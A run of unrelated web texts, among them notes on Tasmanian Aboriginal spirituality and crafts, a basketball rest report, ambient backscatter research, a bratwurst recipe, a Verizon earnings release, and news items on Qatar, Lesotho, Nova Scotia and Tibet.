Alternatively, Tasmanian Aboriginal mythology also records in their oral history that the first men emigrated by land from a far off country and the land was subsequently flooded - an echo of the Tasmanian people's migration from mainland Australia to (then) peninsular Tasmania, and the submergence of the land bridge after the last ice age.
Spirituality
Little has been recorded of traditional Tasmanian Aboriginal spiritual life. Colonial British recorded that Aboriginal people describe topographical features, such as valleys and caves, as being inhabited by spiritual entities recorded by contemporaries as "sprites". Furthermore, Robinson recorded members of some clans as having animistic regard for certain species of tree within their domain. Robinson recorded several discussions regarding spiritual entities that his companions describe as having agency or a source of interpretive power to aid their navigation of their physical world. The Tasmanian Aboriginal people would describe these entities as "devils" and related that these spiritual beings as walking alongside aboriginal people "carrying a torch but could not be seen".
Mannarlargenna, in particular, described consulting his "devil" which seems to be a resident personal spirituality that provided prognostic or oracular powers. The "devil" might also be used to describe malevolent spiritual entities in the Aboriginal cosmos.
Aboriginal people recounted that there was a prime malevolent spirit called rageowrapper, who appeared as a large black (Aboriginal?) man and is associated with the darkness. rageowrapper might appear borne on a strong wind or be the source of severe illness this malign spirit might be released from a sick individual by cutting the skin to "let him out".
Several researchers assert that there was belief in a kind of manichean cosmos with a "good" and "bad" spirit - delineated by day and night - although this may reflect the cultural bias of the observers. Milligan (a contemporary at Wyballenna) described a creator spirit called tiggana marrabona - translating as "twilight man" but as referred to above there are a number of supernatural beings associated with creation.
Etymological study of Milligan's ethnographic data describes a pantheon of spiritual beings associated with environmental or supernatural phenomena:
nama burag - or "the ghost of the thunderstorm"
- or "the ghost of the thunderstorm" ragi roba - (see rageowrapper) the "revered spirit" - frequently connoted to awesome/revered/dreaded and a signifier of ghosts/phantoms of the departed when connected with signifier ragi
- (see rageowrapper) the "revered spirit" - frequently connoted to awesome/revered/dreaded and a signifier of ghosts/phantoms of the departed when connected with signifier laga robana - "awful spirit of the dead" i.e. the dead man, some kind of dreaded spirit, malevolent phantom
- "awful spirit of the dead" i.e. the dead man, some kind of dreaded spirit, malevolent phantom maian ginja - "the killer" - translates also to fiend/demon: bringer of death
- "the killer" - translates also to fiend/demon: bringer of death muran bugana luwana - "the bright spirit of the night" - a kind of benign or ebullient entity, often described of female form "clothed in grass"
- "the bright spirit of the night" - a kind of benign or ebullient entity, often described of female form "clothed in grass" wara wana - "the spirit being" - also warrawah translates to transcendental/ethereal/spirit of dead associated with celestial bodies- may be malevolent
- "the spirit being" - also translates to transcendental/ethereal/spirit of dead associated with celestial bodies- may be malevolent badenala - "shadow man" - ghost or spirit
- "shadow man" - ghost or spirit kana tana - "the bone man" - Western Nation language term for spirit of the dead
- "the bone man" - Western Nation language term for spirit of the dead nangina - "shadow/ghost" - contemporary association with "fairy" or "elf" - a supernatural entity dwelling "in the hill - dancing (and) fond of children"
- "shadow/ghost" - contemporary association with "fairy" or "elf" - a supernatural entity dwelling "in the hill - dancing (and) fond of children" buga nubrana - "the man's eye" - associated with the sun - possibly a benign entity
Traditional Aboriginal Tasmanians also related beliefs of a spiritual afterlife. One such belief, related by an aboriginal person from the west coastal nation, was that the spirit of the dead travelled to a place over the sea: to the far north-west, called Moo-ai. This possibly reflects the ancestral memory of the Mara language group, resident in Western Tasmania, who are believed to have settled Tasmania from the Warrnambool region in modern day Victoria. but other Tasmanians state that after death their spirits would have a post-corporeal existence in their traditional lands.
Other reference is made to an Island of the Dead tini drini, described as "an island in Bass Strait" where the dead would be reincarnated or "jump up white men". White here does not refer to european, but rather the skeletal or phantasmic nature of returned dead.
Funeral customs
The dead might be cremated or interred in a hollow tree or rock grave, dependant on clan custom Aboriginal people were also recorded to keep bones of dead people as talismans or amulets. The bones might be worn on a kangaroo sinew string bare around the neck or enclosed in a kangaroo skin bag.
Cosmology
Traditional Tasmanian Aboriginals saw the night sky as residence of creator spirits (see above) and also describe constellations that represent tribal life; such as figures of fighting men and courting couples.
Material culture
Use of fire
The Tasmanian Aboriginal people preferred to store coals in wrapped bark for the purpose of starting fires. This was likely due to the difficulty in creating fire in Tasmania's wet maritime climate. When this source of flame was extinguished they would seek to gain fire from neighbouring hearths or clans but also were likely to have created fire by friction methods and possibly by mineral percussion The Tasmanian Aboriginals extensively employed fire for cooking, warmth, tool hardening and clearing vegetation to encourage and control macropod herds.
Hunting and diet
Approximately 4,000 years ago, the Aboriginal Tasmanians largely dropped scaled fish from their diet, and began eating more land mammals, such as possums, kangaroos, and wallabies. Aboriginal Tasmanians had employed bone tools, but it appears that they switched from worked bone tools to sharpened stone tools, as the effort to make bone tools began to exceed the benefit they provided. The significance of the disappearance of bone tools (believed to have been primarily used for fishing related activities) and fish in the diet is heavily debated. Some argue that it is evidence of a maladaptive society, while others argue that the change was economic, as large areas of scrub at that time were changing to grassland, providing substantially increased food resources. Fish were never a large part of the diet, ranking behind shellfish and seals, and with more resources available, the cost/benefit ratio of fishing may have become too high. Archaeological evidence indicates that around the time these changes took place, the Tasmanian people began expanding their territories, a process that was still continuing when Europeans arrived.
Basket making
Basket making is a traditional craft which has been carried through into contemporary art. Baskets had many uses, including carrying food, women's and men's tools, shells, ochre, and eating utensils. Basket-like carriers were made from plant materials, kelp, or animal skin. The kelp baskets or carriers were used mainly to carry water and as drinking vessels.
Plants were carefully selected to produce strong, thin, narrow strips of fibre of suitable length for basket making.
Several different species of plant were used, including white flag iris, blue flax lily, rush and sag, some of which are still used by contemporary basket makers, and sometimes shells are added for ornamental expression.
Tasmanian Aboriginal shell necklace art
Making necklaces from shells is a significant cultural tradition among Tasmanian Aboriginal women. Necklaces were used for adornment, as gifts and tokens of honour, and as trading objects. Dating back at least 2,600 years, necklace-making is one of the few Palawa traditions that has remained intact and has continued without interruption since before European settlement. A number of shell necklaces are held in the collection of the National Museum of Australia.
Ochre
Ochre is an important cultural resource for the Tasmanian Aboriginal community. Traditionally, Aboriginal women had the exclusive role of obtaining ochre. Today, many Tasmanian Aboriginal men continue to respect the traditional cultural custom by obtaining ochre from women only.
Tasmanian ochre ranges in colour from white through yellow to red. It has many uses, including ceremonial body marking, colouring wood craft products, tie-dye |
after Tuesday's practice before they hit the road for Milwaukee.
"I've always been the same way. I don't change too much. I've always been the same. How I get at this time has always been the same over my 10 years of being in the postseason, so it won't change."
Considering his pending absence, James was asked what's an ideal way for the team to finish out the season.
"With rhythm," he responded. "Win, lose or draw. You want to try to have some type of rhythm."
That could become a complicated matter being that James is surely not the only major Cavaliers contributor expected to take a night off soon.
Cleveland (50-27) has five games remaining in the regular season. Milwaukee, Boston back-to-back, Detroit and Washington are all on deck with something to play for, with the exception of the Pistons.
A win against the Bucks on Wednesday would lock up the No. 2 seed and the Central Division. If that scenario plays out, coach David Blatt will be faced with the difficult task of finding rest for his players, and in the process, try not to lose momentum.
"We're getting awfully close to playoff time and it's important that we maintain a level of game-conditioning and game-readiness together and balanced with the physical state of the players," Blatt said. "Unfortunately we're still not quite there yet so it's a little hard to think exactly how we want to handle that. We're just not there yet."
Point guard Kyrie Irving and power forward Kevin Love -- players who have been banged up all year -- will almost certainly be told to dress to impress during one of the upcoming games. Center Timofey Mozgov could also catch a breather.
Regardless of who takes the floor, James believes the team will be in good shape as long as they continue to adhere to the team's principles.
"Even if we've got guys resting or not, you still play your game," James said. "Obviously you can kind of take an account of who's in and who's out, but you play your type of basketball. The one thing you can control no matter who's in the lineup is how hard you play and how together you play, no matter who's out there."
James made it clear that he isn't fatigued. His approach is solely geared towards ensuring he's in near tip-top health before he embarks on attempting to claim his third NBA title.
He may be in street clothes soon, but he hasn't crashed.
"You get rest when you retire," he said.Whenever you send a text message, upload a photo, or check your news feed, your phone or computer directs a small amount of power to its radio, and uses that power to beam out a signal. Finding power usually isn't a huge issue, but if no direct power source were necessary at all, it would be possible to develop simple, battery-free devices that could talk to each other for purposes such as making payments, sending messages, and even monitoring the structure of buildings. Researchers from the University of Washington have put forth just such a possibility: they've proposed a new technology called "ambient backscatter" that would require no battery and could wirelessly transmit simple messages.
RFID taken to the next level
The idea may not be entirely new, but it's different in a big way. Technologies like RFID, which is often used as a simple electronic information tag, also work wirelessly and without a battery — the big difference here is that RFID requires a nearby base station be connected to a power source, whereas ambient backscatter devices would require no extra pieces at all.
That doesn't mean that the devices aren't powered though, just that they don't need a battery. But powering them up isn't something that a user would ever have to worry about: because radio waves are ubiquitously moving through the air, ambient backscatter devices would simply grab some of those radio waves and convert them into the small amount of power that they need in order to work. It can't do much with that limited power source, but it would be enough to send a signal, store information, and light up an LED.
Ambient backscatter devices would be able to require such little power because of the nontraditional method that they use for sending out radio waves. Rather than making their own signal, such devices would repurpose existing waves that are already moving through the air. By deflecting those other waves, ambient backscatter devices can alter them into their own specific communications that other devices would be able to pick up.
The limitations still aren't known
In the researchers' study, which was published at a SIGCOMM conference running this week, they note that these devices were able to work up to up to 6.5 miles away from the nearest tower broadcasting a strong wireless signal. That distance isn't necessarily the devices' upper limit, but the team didn't test them any farther away. The devices' simple structure could also limit how useful they are — but with some creative workarounds, there may be plenty of possibilities.
One example that the researchers suggest is having the devices measure how long it takes for them to receive signals from nearby transmitters. If the timing ever slowed down, it would indicate that one of the devices was moved — had they been monitoring a building, it could mean that its structure had faltered. But while the technology's most exciting application may be sending emails and text messages power-free, researchers will still need to find a battery-free way for those emails to be composed.Homemade Bratwurst Recipe
This homemade bratwurst recipe is very close to what you would expect to get if you had a fresh bratwurst served to you in Germany.
At least that's what I've been told by a friend who actually has the experience to be able to accurately make the comment.
Bratwurst (and lots of other German sausage) is often made with emulsified meat. That can be hard to do in the home kitchen, but can be approximated by grinding the meat and spice mixture very finely in a food processor.
To emulsify the bratwurst, the meat is ground through the fine plate of a sausage grinder, mixed with the spices and other ingredients, and then run through the food processor in small batches (adding water as needed) until a paste-like consistency is accomplished.
This isn't difficult to do, but it can be time consuming if you are making more than about 5 lbs. of sausage.
I find I can get a very respectable product just by grinding the meat several times through the finest plate on my meat grinder.
The texture of your finished homemade bratwurst won't be the same as the ones you buy in the store, but the quality and taste will be far superior to anything you can get at the mega-mart.
Recipe
4 lbs. 80% lean pork shoulder (Boston butt)
1 lb veal or beef
2 tablespoons kosher salt
1 tablespoon ground nutmeg
2 teaspoons ground mace
1 teaspoon ground ginger
1 cup cold milk
2 whole eggs, beaten
1 cup non-fat dry milk powder (as a binder)
Trim the pork and beef, cut it all into 1 inch cubes, and grind it twice through the fine plate of your sausage grinder. Combine the spices in a 1 quart container and mix with the 1 cup of cold milk and the beaten eggs. Pour the spice, milk, and egg combination into the ground meat and mix thoroughly for at least 2 minutes. Use your hands for mixing to assure even distribution. Add the milk powder to the mixture and combine it all thoroughly with your hands. At this point you can pass the finished sausage mixture once more through the meat grinder if you so choose.
Once the sausage is fully mixed, stuff it right away into 32-35 mm hog or collagen casings and refrigerate or freeze immediately.
This sausage can be smoked, but that isn't traditional. If you do choose to smoke it, be sure to add 1 level teaspoon of Instacure or Prague Powder #1 to each 5 lbs. of meat mixture.
You can find further instruction on smoking sausage by Clicking HerePakistan Telecommunication Authority (PTA) has received very encouraging response from the local and international firms for its offer of spectrum auction consultancy, said a statement just issued by the regulator.
The proposals submitted by various consultants for Spectrum Auction for Next Generation Mobile Services in Pakistan were opened at PTA today (12th November, 2013) at 01:30 p.m by the Evaluation Committee constituted for the evaluation of the bids.
In response to PTA’s advertisements for the hiring of a consultant of international repute, published in national and international newspapers and on PPRA website, a total of 7 bids were received from various consulting firms.
PTA will finalize the selection of consultants after evaluating the technical and financial proposals in accordance with the relevant rules.
While PTA didn’t communicate any deadline but it is likely that selection of consultant(s) will be finalized by 20th of November, 2013.
The selected consultant (s) would be responsible for providing professional analysis, input, and advice/recommendations on the whole auction process as per PTA’s RFP and ToR, and for the successful completion of auction in a transparent manner, averting collusion, ensuring competition and complete transparency in the auction process.
PTA is aiming to auction 3G licenses by late February 2014.Eric Chase Bolling, the son of former Fox News anchor Eric Bolling, died on Saturday. His passing is being celebrated by leftists on Twitter to mock his father, who lost his job on the cable news network following allegations of sexual harassment.
TMZ reported that Bolling Jr., who was 19, died from a drug overdose. Numerous leftists on Twitter called his death a fitting punishment for his father’s alleged actions.
“I knew [Eric Bolling] was a POS, but it is incredibly rare to see karma deliver such harsh justice,” wrote @Donnie2Scoop. “The teen son deserved better.”
Dozens of other progressives mocked Bolling for his son’s death, also calling it karma. Many gloated over the tragedy, sharing GIFs and images to express their joy at his suffering.
Clearly sins of the father come to visit the son. The man was a dick pic sending creep. And Karma just hit him twice. Good riddance, lol pic.twitter.com/fr3aMLlfPh — White Jesus (@paleface_savage) September 9, 2017
Chet Cannon highlighted a number of tweets from users like Annie Padden and Ken Andrew II who called his death karma. Andrew said Bolling “got exactly what he deserved” with his son’s death.
Eric Bolling lost his 19-year-old son and the response from these cretins? “karma” and “got what he deserved” It’s truly disgusting. pic.twitter.com/BtT3Ci0eO5 — Chet Cannon (@Chet_Cannon) September 9, 2017
Responding to outrage over leftists gloating over the tragedy, a user named @MrMarjani, called the deceased teenager “worm food.”
Following the news, numerous people came to the defense of Bolling and shared their condolences with him in his tweet announcing his tragic loss.
Ian Miles Cheong is a journalist and outspoken media critic. You can reach him through social media at @stillgray on Twitter and on Facebook.The 22-year-old says she was drugged at Doha hotel and realised she had been raped when she woke up in unfamiliar apartment
Dutch woman arrested in Qatar after reporting rape to appear in court
A Dutch woman arrested in Qatar on suspicion of adultery after reporting she had been raped is to appear in court on Monday.
The 22-year-old says she was drugged in a hotel in Doha, and realised she had been raped when she woke up in an unfamiliar apartment.
“She was arrested in March on suspicion of adultery, which means having sex outside marriage,” her lawyer, Brian Lokollo, told Dutch radio NOS-Radio 1.
The alleged rapist is also being held, but says the sex was consensual. The Dutch foreign ministry said the woman had been arrested but had yet to be charged.
It said in a statement: “We have provided assistance to her since the first day of detention. For the sake of the defendant’s case we will not make further comments at this point.”
The case came to light after the woman’s mother spoke to Dutch media. It is understood that her daughter had not wanted the case to be made public.
The 22-year-old, who was on holiday, had gone dancing at a hotel where alcohol was allowed. “But when she returned to the table after the first sip of her drink … she felt very unwell”. She believed she had been drugged, Lokollo said.
Her next memory was waking up in an unfamiliar apartment where she “realised to her great horror that she had been raped”, he added.
The man was also arrested, but denies raping her and alleges that she had even asked for money.
“She completely denies these accusations,” Lokollo said.
It is an offence to drink alcohol or be drunk in public in Qatar, although alcohol is allowed at certain hotels and non-Muslim immigrants can obtain a permit for purchasing alcohol.
Since the case has come to light, hundreds of people on Twitter have called for the woman’s release.
In 2013, a 24-year-old Norwegian woman who brought a rape complaint against her boss was jailed for 16 months in the neighbouring United Arab Emirates for so-called indecent behaviour, perjury and alcohol consumption. She was later pardoned and allowed to return to Norway.Researchers at the University of Tehran, in Iran, unveiled last month an adult-sized humanoid robot called Surena 2.
Initial press reports by Iran’s official news agencies didn’t include many details about the robot, saying only it could “walk like a human being but at a slower pace” as well as perform some other tasks, and questions surfaced about the robot’s real capabilities.
Now IEEE Spectrum has obtained more technical details about Surena and exclusive images and videos showing that the robot can indeed walk—and even stand on one leg.
Aghil Yousefi-Koma, a professor of engineering at the University of Tehran who leads the Surena project, tells me that the goal is to explore “both theoretical and experimental aspects of bipedal locomotion.”
The humanoid relies on gyroscopes and accelerometers to remain stable, and although it still moves its legs slowly, Prof. Yousefi-Koma says his team is developing a “feedback control system that provides dynamic balance, yielding a much more human-like motion.”
Surena 2, which weighs in at 45 kilograms and is 1.45 meter high, has a total of 22 degrees of freedom (DOF): legs have each 6 DOF, arms 4 DOF, and the head 2 DOF. An operator uses a remote control system to make the robot walk and move its arms and head. The robot can also bow.
Surena doesn’t have the agile arms of Hubo, the powerful legs of Petman, or the charisma of Asimo, but this is only the robot’s second-generation, built by a team of 20 engineers and students in less than two years. The first version of the robot, much simpler, with only 8 DOF, was demonstrated in late 2008.
Prof. Yousefi-Koma, who is director of both the Center for Advanced Vehicles (CAV) and the Advanced Dynamic and Control Systems Laboratory (ADCSL) at the University of Tehran, says another goal of the project is to “demonstrate to students and to the public the excitement of a career in engineering.”
For the next generation of Surena, the researchers plan to develop speech and vision capabilities and improve the robot’s overall mobility and dexterity. They also plan to give Surena “a higher level of machine intelligence,” Prof. Yousefi-Koma says, “suitable for various industrial, medical, and household applications.”
The robot was unveiled by Iranian President Mahmoud Ahmadinejad on 3 July in Tehran as part of the country’s celebration of “Industry and Mine Day.” The robot is a joint project between the Center for Advanced Vehicles and the R&D Society of Iranian Industries and Mines.
Below, a demo the researchers gave on Iranian TV and more photos.
Photos and videos: Center for Advanced Vehicles/University of TehranVerizon Communications posted a massive $1.93 billion loss in the fourth quarter of 2012 as pension expenses and costs associated with Hurricane Sandy took a big toll on the company’s performance. The company was looking to rebound in 2013 and it did just that. Excluding one-time charges, Verizon managed earnings of $0.45 per share in the year-ago quarter on sales totaling $30 billion. In Q4 2013, Verizon’s earnings climbed to $0.66 per share on $31.07 billion in revenue, narrowly beating analysts’ estimates on both counts. The carrier’s net income totaled $5.07 billion in the fourth quarter. Verizon also said it added 1.7 million net new wireless subscribers during the quarter, pushing its total subscriber count to 102.8 million. The company’s full press release follows below.
Verizon Caps Strong Record of Success in 2013 With Fourth Consecutive Quarter of Double-Digit Earnings Growth
4Q 2013 HIGHLIGHTSConsolidated
$1.76 in earnings per share (EPS), compared with a loss of $1.48 in EPS in 4Q 2012, including significant non-operational items in both quarters, primarily related to the annual actuarial valuation of benefit plans and mark-to-market pension adjustments.
66 cents in adjusted EPS (non-GAAP), a 73.7 percent increase compared with adjusted EPS of 38 cents per share in 4Q 2012 that included 7 cents per share in impacts from Superstorm Sandy.
Wireless
8.0 percent year-over-year increase in service revenues in 4Q 2013; 7.5 percent year-over-year increase in retail service revenues; 29.5 percent operating income margin and 47.0 percent segment EBITDA margin on service revenues (non-GAAP).
1.7 million retail net additions, excluding acquisitions and adjustments; 1.6 million retail postpaid net additions; low retail postpaid churn of 0.96 percent; 102.8 million total retail connections, 96.8 million total retail postpaid connections.
4G LTE service now available to nearly 305 million people in more than 500 markets across the U.S.
Wireline
6.4 percent year-over-year increase in consumer revenues; consumer ARPU (average revenue per user) up 10.8 percent year over year.
15.6 percent year-over-year increase in FiOS revenues; 126,000 FiOS Internet and 92,000 FiOS Video net additions, with continued increased sales penetration for both services.
NEW YORK – Verizon Communications Inc. (NYSE, Nasdaq: VZ) today reported another strong quarter of earnings, revenue and cash-flow growth.
With fourth-quarter 2013 EPS of $1.76 (adjusted, non-GAAP, 66 cents), Verizon has posted year-over-year double-digit percentage growth in operating income and EPS in all four quarters of 2013, and in seven of the past eight quarters.
Lowell McAdam, Verizon chairman and CEO, said: “Verizon delivered a total return of 18.6 percent to our shareholders in 2013, while attracting more customers than our competitors and improving our financial performance. This included more than 20 percent year-over-year increases in operating cash flow and EPS. In 2014, we look forward to acquiring sole ownership of Verizon Wireless, the best asset in the global wireless industry, and leveraging all our assets to deliver innovative products to customers and more value to shareholders.”
Verizon reported $1.76 in EPS in fourth-quarter 2013, compared with a loss of $1.48 per share in fourth-quarter 2012. Results in both quarters included significant non-operational items.
Fourth-quarter 2013 results included an after-tax gain of $3.7 billion, or $1.29 per share, primarily non-cash and related to the annual actuarial valuation of benefit plans and mark-to-market pension adjustments. This favorable accounting adjustment was partially offset by after-tax charges of $540 million, or 19 cents per share, for transaction costs related to the acquisition of Vodafone Group PLC’s indirect 45 percent interest in Verizon Wireless. Assuming approval of Verizon and Vodafone shareholders later this month, the closing of the acquisition is planned for Feb. 21 and would be immediately accretive to earnings by about 10 percent.
Fourth-quarter 2012 charges totaled $1.86 per share – $1.55 per share for the annual actuarial valuation of benefit plans and mark-to-market pension adjustments, and 31 cents per share for the early retirement of debt and other restructuring activities.
On a comparable basis, Verizon reported 66 cents in adjusted EPS (non-GAAP) in fourth-quarter 2013, a 73.7 percent increase compared with adjusted EPS of 38 cents in fourth-quarter 2012 that also included 7 cents per share in impacts from Superstorm Sandy.
For the full year, Verizon reported $4.00 in EPS in 2013, compared with 31 cents per share in 2012. On an adjusted basis (non-GAAP), Verizon reported $2.84 in adjusted EPS in 2013, a 26.8 percent increase from $2.24 in adjusted EPS in 2012.
Consolidated Results Highlighted by Revenue, Margin and Cash-Flow Growth
With revenue growth across all strategic areas – Verizon Wireless, FiOS and strategic enterprise services – Verizon generated total operating revenues of $120.6 billion for full-year 2013, an increase of 4.1 percent, or $4.7 billion, compared with 2012.
Consolidated Highlights
Total operating revenues in fourth-quarter 2013 were $31.1 billion, a 3.4 percent increase compared with fourth-quarter 2012, with 84 percent of revenues generated by Verizon Wireless, FiOS and strategic enterprise services.
For full-year 2013, increased revenues and effective cost management resulted in operating income of $32.0 billion. After adjusting for pension and benefit impacts and other non-operational items, this represented more than 21 percent growth in adjusted operating income (non-GAAP) compared with 2012.
Consolidated operating income margin was 26.5 percent for 2013, compared with 11.4 percent for 2012. Consolidated EBITDA margin (based on earnings before interest, taxes, depreciation and amortization) was 40.3 percent for 2013, compared with 25.6 percent for 2012. On an adjusted basis (non-GAAP), consolidated EBITDA margin increased 260 basis points in 2013 compared with 2012, to 34.9 percent. This was Verizon’s highest adjusted full-year consolidated EBITDA margin (non-GAAP) in eight years.
Cash flow from operating activities totaled $38.8 billion in 2013, a 23.3 percent increase compared with 2012. Capital expenditures totaled $16.6 billion in 2013, compared with $16.2 billion in 2012. Verizon estimates investments in the range of $16.5 billion to $17 billion for capital expenditures in 2014, with a continued decrease in capital spending as a percentage of total revenues.
Free cash flow (non-GAAP, cash flow from operations less capital expenditures) totaled $22.2 billion in 2013, an increase of 45.1 percent, or $6.9 billion, compared with 2012. From this $22.2 billion, Verizon returned $5.9 billion in dividends to shareholders, including a seventh consecutive year of a quarterly dividend increase.
Verizon estimates its cash contributions in 2014 for pension funding requirements will be $1.2 billion.
Verizon Wireless Delivers Strong Customer Additions, Revenue Growth and Profitability
In fourth-quarter 2013, Verizon Wireless delivered strong growth in retail net connections and service revenues, an increase in smartphone penetration, and continued low retail postpaid churn.
Wireless Financial Highlights
Total revenues were $21.1 billion in fourth-quarter 2013, up 5.7 percent year over year. Service revenues in the quarter totaled $17.7 billion, up 8.0 percent year over year – marking the fifth consecutive quarter of at least 8 percent growth. Retail service revenues grew 7.5 percent year over year, to $17.0 billion.
For full-year 2013, total revenues were $81.0 billion, up 6.8 percent over 2012, and service revenues were $69.0 billion in 2013, up 8.3 percent year over year.
Retail postpaid ARPA (average revenue per account) grew 7.1 percent over fourth-quarter 2012, to $157.21 per month.
In fourth-quarter 2013, wireless operating income margin was 29.5 percent, and segment EBITDA margin on service revenues (non-GAAP) was 47.0 percent, up 560 basis points from fourth-quarter 2012. For full-year 2013, operating income margin was 32.1 percent, up 340 basis points from 2012; segment EBITDA margin was 49.5 percent, up 290 basis points year over year.
Wireless Operational Highlights
Verizon Wireless added 1.7 million retail net connections in the fourth quarter, including 1.6 million retail postpaid net connections. The company added 4.1 million net retail postpaid connections in 2013. These additions exclude acquisitions and adjustments.
At the end of 2013, the company had 102.8 million retail connections, a 4.7 percent increase year over year – including 96.8 million retail postpaid connections.
Verizon Wireless had 35.1 million retail postpaid accounts at the end of the fourth quarter and an average of 2.8 connections per account, up 4.5 percent year over year.
At year-end 2013, smartphones accounted for 70 percent of the Verizon Wireless retail postpaid customer phone base, up from 67 percent at the end of third-quarter 2013.
Retail postpaid churn was 0.96 percent in fourth-quarter 2013, up 1 basis point year over year and down 1 basis point from third-quarter 2013. Total retail churn was 1.27 percent in fourth-quarter 2013, up 3 basis points year over year.
Verizon Wireless has substantially completed deployment of its 4G LTE network, covering more than 99 percent of its current 3G network footprint. The Verizon Wireless 4G LTE network is now available to 97 percent of the U.S. population in more than 500 markets covering nearly 305 million people, including those in areas served by the company’s LTE in Rural America partners.
The company continued to enhance its 4G LTE smartphone lineup. In the fourth quarter, Verizon Wireless launched the Nokia Lumia 2520, the Samsung S4 mini and Galaxy III mini, the HTC One Max and the BlackBerry Z30. The company also launched the Verizon Ellipsis Jetpack and Verizon Ellipsis 7 Tablet, and the Delphi Connect with 4G LTE, which offers vehicle diagnostics as well as a mobile hotspot for up to five connected devices.
In November, Verizon Wireless opened its first Destination Store at Mall of America in Minneapolis. The store, containing more than 9,000 square feet, features lifestyle zones that help customers discover the latest gadgets, devices and solutions.
Wireline Highlighted by Strong Consumer Revenue Growth
Verizon’s wireline segment reported continued strong results for consumer services, where year-over-year quarterly revenues now have grown by more than 4 percent for six consecutive quarters – a growth rate the company considers sustainable. In enterprise and wholesale markets, sales of global enterprise strategic services continued to increase and constitute a larger percentage of the revenue base.
Wireline Financial Highlights
In fourth-quarter 2013, consumer revenues were $3.8 billion, an increase of 6.4 percent compared with fourth-quarter 2012. Consumer ARPU for wireline services increased to $117.06 in fourth-quarter 2013, up 10.8 percent compared with fourth-quarter 2012.
Representing 73 percent of total consumer revenues, FiOS consumer revenues grew 14.9 percent, to nearly $2.8 billion, in fourth-quarter 2013, compared with fourth-quarter 2012. Total FiOS revenues grew 15.6 percent over the same period.
Wireline operating income margin was 1.0 percent for 2013, up from 0.2 percent for 2012. Segment EBITDA margin (non-GAAP) was 22.2 percent for 2013, flat compared with 22.1 percent when excluding storm impacts for 2012. Verizon expects the wireline segment EBITDA margin to increase in 2014.
Sales of strategic services to global enterprise customers increased 2.3 percent compared with fourth-quarter 2012 and represented 59 percent of total enterprise revenues. Strategic services include cloud and data center services, security and IT solutions, advanced communications, strategic networking and telematics services.
Wireline Operational Highlights
In fourth-quarter 2013, Verizon added 126,000 net new FiOS Internet connections and 92,000 net new FiOS Video connections. Verizon had a total of 6.1 million FiOS Internet and 5.3 million FiOS Video connections at year-end 2013, representing year-over-year increases of 11.9 percent and 11.3 percent, respectively.
FiOS penetration (subscribers as a percentage of potential subscribers) continued to increase. FiOS Internet penetration was 39.5 percent at the end of fourth-quarter 2013, compared with 37.3 percent at the end of fourth-quarter 2012. In the same periods, FiOS Video penetration was 35.0 percent, compared with 33.3 percent. The FiOS network passed 18.6 million premises by year-end 2013.
By the end of fourth-quarter 2013, 46 percent of consumer FiOS Internet customers subscribed to FiOS Quantum, which provides speeds ranging from 50 to 500 megabits per second, up from 41 percent at the end of third-quarter 2013. In fourth-quarter 2013, 55 percent of consumer FiOS Internet sales were for speeds of at least 50 megabits per second.
Broadband connections totaled more than 9.0 million at year-end 2013, a 2.5 percent year-over-year increase. Net broadband connections increased by 20,000 in fourth-quarter 2013, as FiOS Internet net additions more than offset a decline in DSL-based High Speed Internet connections.
Verizon has been replacing high-maintenance portions of its residential copper network with fiber optics to provide enhanced services and to reduce ongoing repair costs. In 2013, Verizon migrated 330,000 homes to fiber, exceeding the target of 300,000 migrations within FiOS markets. By year-end, Verizon had fewer than 1 million consumer customers served by copper in FiOS markets.
Verizon Enterprise Solutions began deploying innovative cloud, security, M2M (machine-to-machine) and other wireline and wireless business technology solutions for a variety of new clients around the globe in the quarter, including Autonet, CME Group, FrieslandCampina, Hyundai, Tesco, U.S. Department of Treasury, Internal Revenue Service, U.S. Department of Veterans Affairs, U.S. Agency for International Development, Defense Information Systems Agency and U.S. Department of the Interior.
NOTE: See the accompanying schedules and www.verizon.com/investor for reconciliations to generally accepted accounting principles (GAAP) for non-GAAP financial measures cited in this document.Image copyright AFP Image caption Thomas Thabane looks set to return to the post of prime minister
Lesotho's former Prime Minister Thomas Thabane's ABC party has defeated bitter rival Prime Minister Pakalitha Mosisili's party in a snap election.
Mr Thabane's party won 48 of the 80 directly contested seats in the 120-strong parliament, the Independent Election Commission said.
Mr Mosisili's Democratic Congress came second with 30 seats. The ABC now needs to form a coalition in order to govern.
It is the third election in three years caused by a bitter power-struggle.
Lesotho has experienced several coups since independence from Britain in 1966. There was no winner with a clear majority in the last election.
The ABC is expected to form a coalition with three other parties in a bid to obtain the 61-seat majority needed to form a government, Reuters news agency reports, quoting a joint statement by the parties.Image caption The couple were permitted to grow 25 plants but could only afford six, CBC reported
A Canadian province has been ordered to pay for an ill couple's medical marijuana, Canadian media report.
The Nova Scotia income assistance appeals board ruled the couple needed treatment but were unable to afford growing supplies, CBC news reports.
The board ordered Nova Scotia to pay 2,500 Canadian dollars ($2,541; £1,569) to set up the growing operation.
The wife was injured in a car accident and her husband suffers from glaucoma and smokes marijuana to ease the pain.
"When I don't smoke marijuana, I have so much pain that I don't want to get out of bed. I have no energy, I don't want to do nothing," the woman told CBC News.
As well as the set-up costs, the province was also ordered to pay 100 Canadian dollars every three months towards the running costs of the growing operation.
A spokeswoman for Nova Scotia said the province was referring the decision to its lawyers but had yet to make a decision on whether to appeal, the Globe and Mail newspaper reported.
Canada's medical marijuana law came into effect in July 2000.
Patients are required to have licenses to use the drug for medical treatment.Lhasa, Tibet (CNN) It's dawn in Lhasa, Tibet, and the quiet is punctuated only by the gentle chanting of Buddhist pilgrims.
They pray outside the Jokhang temple, Tibetan Buddhism's holiest place.
Some prostrate themselves on the cool stone ground, while others walk clockwise around the temple, spinning hand-held prayer wheels.
The thick, sharp scent of incense hangs heavy in the air.
We're watching all this from the side, mere silent observers to rituals honed over hundreds of years.
Pilgrims walking and praying near the Jokhang Temple in Lhasa, in September.
More restricted than North Korea?
The early morning calm belies the region's tumultuous history.
The Communist government in Beijing has controlled Tibet since 1951. After a failed revolt against Chinese rule in 1959, the 14th Dalai Lama -- Tibet's spiritual leader -- fled to India.
Simmering defiance from Tibetans who remained sometimes boils over into large-scale riots.
Activists say more than 140 people have lit themselves on fire in protest of religious and cultural suppression since March of 2009.
It's a side of Tibet the Chinese government doesn't want outsiders to see. Beijing requires all foreign tourists to have permits and sometimes shuts down access for weeks at a time. It only rarely allows reporters to visit the region.
However, in early September, CNN was among a small group of journalists invited on a five-day, government-led trip to what China calls the Tibetan Autonomous Region.
It was the first time a CNN team had been allowed to visit Tibet since 2006. By comparison, CNN has been to North Korea, often referred to as the hermit kingdom, more than a dozen times in the same period.
